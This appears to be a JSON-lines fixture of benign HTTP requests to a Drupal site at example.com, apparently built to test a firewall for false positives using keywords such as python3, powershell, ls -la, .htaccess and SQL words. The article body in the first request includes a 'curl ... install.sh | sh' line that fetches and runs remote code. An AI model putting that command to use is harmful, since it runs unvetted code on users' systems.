{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRCXQGBEZqRVGYEzF", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214990\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nSELECT a table: python3, ls -la and .htaccess\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Vl4RHWAalDXt4xlz9gkdfBjyRGaJHUU6FRlyea9EKkc\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nI1fDBOjGA9cTabBxXpM8PsNoHDj_jgNpDUfryW87JZQ\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\nNotes on python3 and powershell\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\"/python3-notes\">read the notes</a> or <a href=\"https://example.com/docs/setup.php?a=1&b=2\">the docs</a>.</p><pre><code class=\"language-plaintext language-bash\">#!/bin/sh\r\ncat /etc/hosts | grep example && ls -la\r\npython3 setup.py install\r\ncurl -s https://example.com/install.sh | sh\r\nSELECT name, mail FROM users WHERE uid = 1;\r\nconsole.log('ok'); document.getElementById('x');\r\nif (a == b) { echo $PATH; }\r\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li data-list-item-id=\"e0931e5bf5859e9ac55e1b80ed4b3ad82\">one</li><li data-list-item-id=\"e681549baddb3c36b7bcba5605e5831c2\">two</li></ul><table class=\"table\"><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"11111111-2222-4333-8444-555555555555\" data-entity-type=\"file\" alt=\"A photo\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nfull_html\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\nAdded ls -la and python3 notes\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/powershell-and-python3\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:10\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF--\r\n"}
|
||||
{"method": "GET", "target": "/powershell-and-python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/powershell-and-python3", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D5%3Achanged%3D1794214996%26langcode%3Den&tokens%5B%5D=ita10VPYAXlTHzj0MBr00dObG7ftbasU9C1DjE2zOWI"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo"}
|
||||
{"method": "POST", "target": "/comment/reply/node/1/comment", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-r1mZS5F4tqXIdq44fjWFYuN-awBCxpW-K-BvoAAmkyk&form_token=8K6l4FhFSzSgw_JeQMFcuQ7zkooQehyqSkLCSKhLp5I&form_id=comment_comment_form&subject%5B0%5D%5Bvalue%5D=Python3+on+.htaccess&comment_body%5B0%5D%5Bvalue%5D=%3Cp%3EDoes+%3Ccode%3Els+-la%3C%2Fcode%3E+work+under+powershell+or+python3%3F%3C%2Fp%3E&comment_body%5B0%5D%5Bformat%5D=basic_html&op=Save"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&ids%5B%5D=comment%3Acomment%3D2%3Achanged%3D1794214999%26langcode%3Den&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo&tokens%5B%5D=ChhtBe1arN5N5VhzviQHD_VDytZgbZVB3u-2qOufzK8"}
|
||||
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE7nrnHw1Pab3ZFls", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\nPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-VXabaXRkKe3hFQCBi49Nj8rAr5cTRZX5WNNCr-orKCE\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\n8VNEl_v41Qp_-ifKyOaSbJFXK8Q95OOmPua9eGqiTOw\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:20\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\ngtuOMELGPT-cRRR7C5yAGfDEzvpCn6gTPnJ4IefXf4E\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls--\r\n"}
|
||||
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_3.png.avif?itok=yeYeqKgQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=python3&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/moderated?title=python3&moderation_state=All", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmoderated_content%3Alocation%3Dpage%26name%3Dmoderated_content%26display_id%3Dmoderated_content%26langcode%3Den&tokens%5B%5D=ZPCy2PWMDA1qxRmOrOGS24WKpHYbJym8Bd048r6MnIw"}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=python3&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=powershell&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=powershell&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=ls%20-la&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=ls%20-la&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=.htaccess&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=.htaccess&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
